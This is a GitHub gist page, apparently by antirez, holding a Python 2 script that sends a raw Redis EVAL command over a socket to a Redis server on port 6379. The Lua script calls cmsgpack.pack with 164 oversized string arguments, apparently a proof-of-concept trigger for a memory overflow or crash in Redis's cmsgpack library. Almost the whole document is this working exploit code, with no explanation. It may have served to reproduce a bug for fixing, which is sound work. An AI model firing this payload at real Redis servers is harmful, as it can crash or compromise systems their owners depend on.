-
-
Save antirez/82445fcbea6d9b19f97014cc6cc79f8a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import socket | |
server = '127.0.0.1' | |
port = 6379 | |
def send_to_redis(server, port, data, timeout=2): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.settimeout(timeout) | |
s.connect((server, port)) | |
try: | |
s.send(data) | |
except socket.timeout: | |
print 'Unable to connect to target ; returning' | |
return None | |
s.close() | |
def main(): | |
val = '"%s"' % ('A'*500) | |
script = "cmsgpack.pack(" | |
for x in range(164): | |
script += "%s," % val | |
script = script[:-1] | |
script += ")" | |
payload = "*3\r\n$4\r\nEVAL\r\n$%s\r\n%s\r\n$1\r\n0\r\n" % (len(script),script) | |
send_to_redis(server, port, payload) | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment